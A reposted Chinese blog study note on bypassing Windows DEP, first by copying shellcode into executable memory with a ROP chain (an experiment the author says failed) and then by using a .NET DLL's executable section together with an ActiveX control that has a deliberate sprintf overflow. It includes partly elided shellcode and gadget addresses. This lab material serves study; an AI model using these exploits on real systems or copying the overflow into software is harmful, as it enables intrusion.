漏洞學習筆記-016-利用可執行記憶體和.NET攻擊DEP
阿新 • • 發佈:2020-12-08
Ret2Libc之利用VirtualProtect和VirtualAlloc攻擊DEP攻擊DEP
本文來源:Moeomu的部落格
利用可執行記憶體攻擊DEP
原理
- 有的時候在程序的記憶體空間中會存在一段可讀可寫可執行的記憶體,如果我們能夠將shellcode複製到這段記憶體中,並劫持程式流程,我們的shellcode就有執行的機會
程式碼
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "......" "\x90\x90\x90\x90" "\x8A\x17\x84\x7C"//pop eax retn "\x0B\x1A\xBF\x7C"//pop pop retn "\xBA\xD9\xBB\x7C"//修正EBP retn 4 "\x5F\x78\xA6\x7C"//pop retn "\x08\x00\x14\x00"//可執行記憶體中彈出對話方塊機器碼的起始地址 "\x00\x00\x14\x00"//可執行記憶體空間地址,複製用 "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址 "\xFF\x00\x00\x00"//shellcode 長度 "\xAC\xAF\x94\x7C"//memcpy "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "......" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void test() { char tt[176]; memcpy(tt, shellcode, 450); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
後記
- 按理來說是要有RWE許可權的記憶體區域的,可惜麼得,此實驗未完成
利用.NET攻擊DEP
原理
- .NET 的檔案具有和與PE檔案一樣的結構,也就是說它也具有.text等段,這些段也會被對映到記憶體中,也會具備一定的可執行屬性。大家應該想到如何利用這一點了,將shellcode放到.NET中具有可執行屬性的段中,然後讓程式轉入這個區域執行,就可以執行shellcode了
- 需求
- 具有溢位漏洞的ActiveX控制元件
- 包含有shellcode的.NET控制元件
- 可以觸發ActiveX控制元件中溢位漏洞的POC頁面
程式碼
具有溢位漏洞的ActiveX控制元件
void CVulnerAXCtrl::test(LPCTSTR str) { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: Add your dispatch handler code here printf("aaaa"); // 定位該函式的標記 char dest[100]; sprintf(dest, "%s", str); }
包含有shellcode的.NET控制元件
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace DEP_NETDLL { public class Class1 { public void Shellcode() { string shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" + "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" + "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" + "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c" + "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" + "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b" + "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" + "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" + "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" + "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33" + "\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050" + "\uff53\ufc57\uff53\uf857" ; } } }
利用Java Applet挑戰DEP
難以找到適合的版本,所以此實驗略過,以後有機會再補充